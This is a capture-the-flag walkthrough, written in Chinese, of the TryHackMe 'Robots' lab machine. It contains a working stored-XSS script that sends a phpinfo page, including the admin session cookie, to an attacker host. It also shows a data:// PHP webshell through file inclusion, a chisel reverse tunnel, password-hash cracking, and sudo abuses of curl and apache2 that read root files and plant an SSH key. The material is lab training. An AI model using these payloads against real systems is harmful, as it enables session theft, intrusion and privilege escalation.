开放22、80、9000端口

┌──(root㉿7)-[~/thm/Robots]
└─# nmap -A 10.10.197.194
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 22:57 CST
Nmap scan report for 10.10.197.194
Host is up (0.37s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.61
|_http-server-header: Apache/2.4.61 (Debian)
| http-robots.txt: 3 disallowed entries
|_/harming/humans /ignoring/human/orders /harm/to/self
|_http-title: 403 Forbidden
9000/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Aggressive OS guesses: Linux 4.15 (98%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 5.4 (94%), Linux 5.13 (92%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 - 3.13 (92%), Linux 5.0 - 5.14 (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: Host: robots.thm

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   0.19 ms   1 (172.28.48.1)
2   369.85 ms 10.21.0.1
3   369.83 ms 10.10.197.194

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.88 seconds

访问robots.txt

Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self

前两个Forbidden,最后一个跳转域名robots.thm,配hosts

/harm/to/self有个登录和注册,提示管理员会监控新用户,大概率xss

image-20250318012316988

注册一个账户,密码为username+ddmm作MD5运算

image-20250318012102965

HttpOnly开启,意味无法使用document.cookie叉到cookie

image-20250318012459618

登陆后有个/harm/to/self/server_info.php链接,可以看phpinfo,其中可以看到cookie,让admin访问该页面并获取该页面就能拿到admin cookie

image-20250318012046911

远程加载1.js,让bot访问执行

<script src="http://10.21.126.163/1.js"></script>

在1.js中构造访问/harm/to/self/server_info.php页面并base64加密返回到10.21.126.163:8888

async function xss() {
    const response = await fetch('/harm/to/self/server_info.php');
    const text = await response.text();

    await fetch('http://10.21.126.163:8888/', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: `data=${btoa(text)}`
    });
}

xss();

image-20250318013045014

image-20250318013247455

解密访问该页面拿到admin cookie

image-20250318014911115

PHPSESSID=f7rscm4hpr3dvnies4msmlmlgo

登录发现没啥东西

扫一下其他路由

┌──(root㉿7)-[~/thm/Robots]
└─# gobuster dir -u http://robots.thm/harm/to/self -w  /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://robots.thm/harm/to/self
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/admin.php            (Status: 200) [Size: 370]
/css                  (Status: 301) [Size: 319] [--> http://robots.thm/harm/to/self/css/]
/index.php            (Status: 200) [Size: 662]
Progress: 4008 / 4615 (86.85%)

扫到admin.php

image-20250319021730146

随便输点发现报错,爆出include

image-20250319021548546

文件包含,利用data协议RCE

data://,<?=`$_GET[1]`;

或者直接远程包含马

http://10.21.126.163:8000/php-shell.php

config.php中包含数据库配置

<!--?php
    $servername = "db";
    $username = "robots";
    $password = "q4qCz1OflKvKwK4S";
    $dbname = "web";
// Get the current hostname
$currentHostname = $_SERVER['HTTP_HOST'];

// Define the desired hostname
$desiredHostname = 'robots.thm';

// Check if the current hostname does not match the desired hostname
if ($currentHostname !== $desiredHostname) {
    // Redirect to the desired hostname
    header("Location: http://$desiredHostname" . $_SERVER['REQUEST_URI']);
    exit();
}
ini_set('session.cookie_httponly', 1);

session_start();

?-->

靶机web本地没有mysql,getent发现内网172.18.0.2有数据库服务器

$ getent hosts db
172.18.0.2      db

在tmp目录下从攻击机下载chisel

$ curl 10.21.126.163/chisel -o chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 9152k  100 9152k    0     0   451k      0  0:00:20  0:00:20 --:--:--  398k
$ chmod +x chisel

开启服务端

PS F:\渗透\内网\chisel\chisel_1.10.1_windows_amd64> ./chisel server -p 7777 --reverse
2025/03/20 01:45:14 server: Reverse tunnelling enabled
2025/03/20 01:45:14 server: Fingerprint pTT2N6SMwD08xeqsdMGCKKPzI9eBlo+xfEdVFGO4hls=
2025/03/20 01:45:14 server: Listening on http://0.0.0.0:7777
2025/03/20 01:45:25 server: session#1: tun: proxy#R:3306=>172.18.0.2:3306: Listening

客户端连接

$ ./chisel client 10.21.126.163:7777 R:3306:172.18.0.2:3306 &
$ 2025/03/19 17:42:21 client: Connecting to ws://10.21.126.163:7777

数据库查询

PS F:\> mysql -urobots -pq4qCz1OflKvKwK4S
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 50
Server version: 11.5.2-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| web                |
+--------------------+
2 rows in set (0.37 sec)

mysql> use web
Database changed
mysql> show tables;
+---------------+
| Tables_in_web |
+---------------+
| logins        |
| users         |
+---------------+
2 rows in set (0.36 sec)

mysql> select * from users;
+----+--------------------------------------------------------+----------------------------------+---------+
| id | username                                               | password                         | group   |
+----+--------------------------------------------------------+----------------------------------+---------+
|  1 | admin                                                  | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin   |
|  2 | rgiskard                                               | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin |
|  3 | <script src="http://10.21.126.163:8000/1.js"></script> | e22da517018d87c8f8009285f36e72db | guest   |
| 12 | 1                                                      | 3cdf5666859f6906c283a1058cd5b9a7 | guest   |
| 14 | <script src="http://10.21.126.163/1.js"></script>      | be0d94afd30ae0d8865e9a6d09d5375c | guest   |
+----+--------------------------------------------------------+----------------------------------+---------+
5 rows in set (0.38 sec)

register.php中对拼接的用户名加生日进行双重MD5加密存入数据库

<?php

include('config.php');


function formatDate($date) {
  // Split the date string into an array
  $dateParts = explode("/", $date);

  // Check if the date is in the correct format
  if (count($dateParts) === 3) {
      $day = $dateParts[0];
      $month = $dateParts[1];

      // Return the formatted string
      return $day . $month;
  } else {
      // Return an error message if the date format is incorrect
      die("Invalid date format. Please use dd/mm/yyyy.");
  }
}

if ( isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['date_of_birth']) ) {


$dsn="mysql:host=$servername;dbname=$dbname;charset=utf8mb4";

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
          ];

$pdo = new PDO($dsn, $username, $password, $options);
$initial_password=md5($_POST['username'] . formatDate($_POST['date_of_birth']));

$stmt = $pdo->prepare("INSERT into users (username,password,`group`) values (?,md5(?),'guest')");
try {

    $stmt->execute([ $_POST['username'] , $initial_password  ]);
    header('Location: index.php');
    die();

} catch (PDOException $e) {
    echo "Something went wrong";
    die();
}


}
?>

hashcat爆破,模式为2600双重MD5,admin无法爆出来,但可以拿到rgiskard用户的(用户名+生日)rgiskard2209,实际密码需要md5

b246f21ff68cae9503ed6d18edd32dae

┌──(root㉿7)-[~/thm/Robots]
└─# hashcat -m 2600 -a 3 dfb35334bf2a1338fa40e5fbb4ae4753 rgiskard?d?d?d?d --show
dfb35334bf2a1338fa40e5fbb4ae4753:rgiskard2209

尝试ssh登录,成功登入

rgiskard用户家目录没有flag,sudo -l查看提权,发现/usr/bin/curl 127.0.0.1/*可以提权至dolivaw

┌──(root㉿7)-[~/thm/Robots]
└─# ssh rgiskard@robots.thm
rgiskard@ubuntu-jammy:~$ ls -la
total 20
drwxr-x--- 2 rgiskard rgiskard 4096 Aug 19  2024 .
drwxr-xr-x 5 root     root     4096 Aug 19  2024 ..
-rw-r--r-- 1 rgiskard rgiskard  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 rgiskard rgiskard 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 rgiskard rgiskard  807 Jan  6  2022 .profile
rgiskard@ubuntu-jammy:~$ id
uid=1002(rgiskard) gid=1002(rgiskard) groups=1002(rgiskard)
rgiskard@ubuntu-jammy:~$ sudo -l
Matching Defaults entries for rgiskard on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User rgiskard may run the following commands on ubuntu-jammy:
    (dolivaw) /usr/bin/curl 127.0.0.1/*

curl | GTFOBins

curl可以请求多个url,同时也可以file://协议,读到dolivaw的flag

rgiskard@ubuntu-jammy:~$ sudo -u dolivaw curl 127.0.0.1/harm/to/self/server_info.php file:///home/dolivaw/user.txt
THM{9b17d3c3e86c944c868c57b5a7fa07d8}

同样可以通过写入ssh公钥来登录

sudo -u dolivaw curl 127.0.0.1/ http://10.21.126.163:8000/id_ed25519.pub -o /tmp/1 -o /home/dolivaw/.ssh/authorized_keys

利用之前生成的私进行连接,继续sudo提权

┌──(root㉿7)-[~/thm/Robots]
└─# ssh dolivaw@10.10.81.206 -i id_ed25519
Enter passphrase for key '.\id_ed25519':
dolivaw@ubuntu-jammy:~$ ls
user.txt
dolivaw@ubuntu-jammy:~$ id
uid=1003(dolivaw) gid=1003(dolivaw) groups=1003(dolivaw)
dolivaw@ubuntu-jammy:~$ sudo -l
Matching Defaults entries for dolivaw on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dolivaw may run the following commands on ubuntu-jammy:
    (ALL) NOPASSWD: /usr/sbin/apache2

apache2ctl | GTFOBins

利用-C和Include包含,将文件内容报错显示出来

对于Config variable ${APACHE_RUN_DIR} is not defined报错,加-C 'Define APACHE_RUN_DIR /tmp'选项或自定义配置文件即可

dolivaw@ubuntu-jammy:/home/dolivaw$ sudo apache2 -C 'Include /root/root.txt' -k stop
[Wed Mar 19 19:25:02.407283 2025] [core:warn] [pid 1747] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot
dolivaw@ubuntu-jammy:/home/dolivaw$ sudo apache2 -C 'Define APACHE_RUN_DIR /tmp' -C 'Include /root/root.txt' -k stop
[Wed Mar 19 19:25:15.302462 2025] [core:warn] [pid 1750] AH00111: Config variable ${APACHE_PID_FILE} is not defined
[Wed Mar 19 19:25:15.302540 2025] [core:warn] [pid 1750] AH00111: Config variable ${APACHE_RUN_USER} is not defined
[Wed Mar 19 19:25:15.302549 2025] [core:warn] [pid 1750] AH00111: Config variable ${APACHE_RUN_GROUP} is not defined
[Wed Mar 19 19:25:15.302709 2025] [core:warn] [pid 1750] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Wed Mar 19 19:25:15.306421 2025] [core:warn] [pid 1750:tid 139931195418496] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Wed Mar 19 19:25:15.306659 2025] [core:warn] [pid 1750:tid 139931195418496] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Wed Mar 19 19:25:15.306682 2025] [core:warn] [pid 1750:tid 139931195418496] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'THM{2a279561f5eea907f7617df3982cee24}', perhaps misspelled or defined by a module not included in the server configuration